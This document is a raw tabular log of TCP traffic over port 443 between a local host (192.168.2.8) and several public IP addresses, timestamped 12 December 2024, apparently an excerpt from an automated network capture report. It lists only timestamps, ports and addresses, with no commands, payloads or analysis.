Dec 12, 2024 16:47:16.785207987 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.785239935 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.785295963 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.786432028 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.786446095 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.786632061 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.786653996 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.786701918 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.786927938 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.786957026 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.786974907 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787014961 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787020922 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787041903 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787049055 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787051916 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787065029 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787067890 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787101030 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787113905 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787115097 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787132025 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787133932 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787168980 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.787334919 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.787348032 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.788151979 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788249969 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788258076 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788281918 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788312912 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788320065 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788337946 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.788882971 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.788975000 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.789104939 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789134979 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789153099 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789171934 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.789268970 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789288998 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789304018 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.789709091 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.789736986 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.789820910 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.789995909 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:16.790011883 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:16.790563107 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.790611982 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.790723085 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.790756941 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.790823936 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.791146040 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.791193008 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.792623997 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.792670012 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.792793036 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.792824984 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.792839050 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.792853117 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.792962074 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.792996883 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.793003082 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.823347092 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.823427916 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.823632002 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.823688984 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.823739052 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.823765039 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.823786974 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.871330023 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.871417046 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.871546984 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.871644020 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.871676922 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.895659924 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.895760059 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.895915031 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.895944118 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.896164894 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.897720098 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.897774935 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.897981882 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.898011923 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.898011923 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.898050070 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.898147106 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.898202896 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.899965048 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.899981976 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.900100946 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.900129080 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.900311947 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.900342941 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.900351048 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.900458097 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.900489092 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.901299953 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.901401997 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.901520014 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.901552916 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.901560068 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.901678085 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.902447939 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.902523041 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.902637959 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.902667046 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.902676105 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.902690887 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.902786970 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.902807951 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.903912067 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.903964996 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.904309988 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.904340982 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.904350996 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.904474020 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.904505014 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.904505014 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.905692101 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.905769110 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.906016111 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.906130075 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.906169891 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.906198978 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.906218052 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.907366037 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.907597065 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.908298969 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908390999 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908438921 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908447981 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908467054 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908541918 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908569098 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908608913 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908710957 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.908736944 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.909126997 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.909195900 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.909502983 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.909533978 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.909545898 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.909672022 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.909712076 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.914334059 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.914408922 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.914586067 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.914621115 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:16.914633989 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.914882898 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:16.918827057 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.918931961 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.919058084 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.920259953 CET	49828	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:16.920284033 CET	443	49828	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:16.955326080 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.021238089 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.021445990 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.021491051 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031435966 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031579971 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031584024 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031615019 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031630993 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031650066 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031653881 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031670094 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031672001 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031707048 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031718016 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031754971 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.031760931 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.031816959 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.032108068 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032126904 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.032135963 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032154083 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032190084 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032212973 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032229900 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032247066 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.032284021 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.038497925 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.038595915 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.038727999 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.038767099 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.038774014 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.038929939 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.038960934 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.044023991 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.044120073 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.044270992 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.044311047 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.044321060 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.044487953 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.044519901 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.048593998 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.048692942 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.049063921 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.049097061 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.049218893 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.049258947 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.088488102 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.088568926 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.088700056 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.088736057 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.088737965 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.088761091 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.088871002 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.088910103 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.088910103 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.131345987 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.161688089 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:17.161887884 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:17.161959887 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:17.162497997 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:17.162497997 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:17.162518024 CET	443	49827	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:17.162564993 CET	49827	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:17.164607048 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.164747000 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.164789915 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.164810896 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.164830923 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.164896965 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.164926052 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.164927006 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.164953947 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.164990902 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.165007114 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.165108919 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.165136099 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.165172100 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.165188074 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.165476084 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.166249037 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.173892975 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.173933983 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.173971891 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174004078 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174026012 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174350977 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174422979 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174546957 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174582958 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174621105 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174663067 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174674034 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174700022 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174731016 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.174837112 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175020933 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175060034 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175069094 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175092936 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175390005 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175410986 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175452948 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175493956 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175532103 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175565958 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175640106 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175683022 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175724983 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175760984 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.175774097 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219338894 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.219558954 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219610929 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219631910 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219669104 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219831944 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219842911 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.219952106 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.219973087 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.220101118 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.220129967 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.220149040 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.220171928 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.220211983 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:17.252763033 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.252906084 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:17.290849924 CET	443	49826	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.034708023 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.034742117 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:18.034831047 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.036485910 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.036513090 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:18.036618948 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.037055969 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.037079096 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:18.038748980 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:18.038762093 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:18.039613008 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.039647102 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:18.039709091 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.040990114 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.041002035 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:18.041610956 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.041634083 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:18.041692972 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.042926073 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:18.042941093 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:18.060065985 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.060506105 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.060616970 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.060627937 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.062728882 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.062735081 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.325196028 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.325438023 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.325453043 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.325810909 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.326169014 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.326231956 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.326368093 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.357511997 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:18.357552052 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:18.357631922 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:18.357800961 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:18.357812881 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:18.367342949 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.378380060 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.771120071 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.771214962 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.771296024 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.771977901 CET	49840	443	192.168.2.8	18.238.49.124
Dec 12, 2024 16:47:18.771995068 CET	443	49840	18.238.49.124	192.168.2.8
Dec 12, 2024 16:47:18.935225010 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.935262918 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.935324907 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.935324907 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.935342073 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.935367107 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.935414076 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.935414076 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.942840099 CET	49839	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.942867041 CET	443	49839	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.949783087 CET	49848	443	192.168.2.8	116.203.10.31
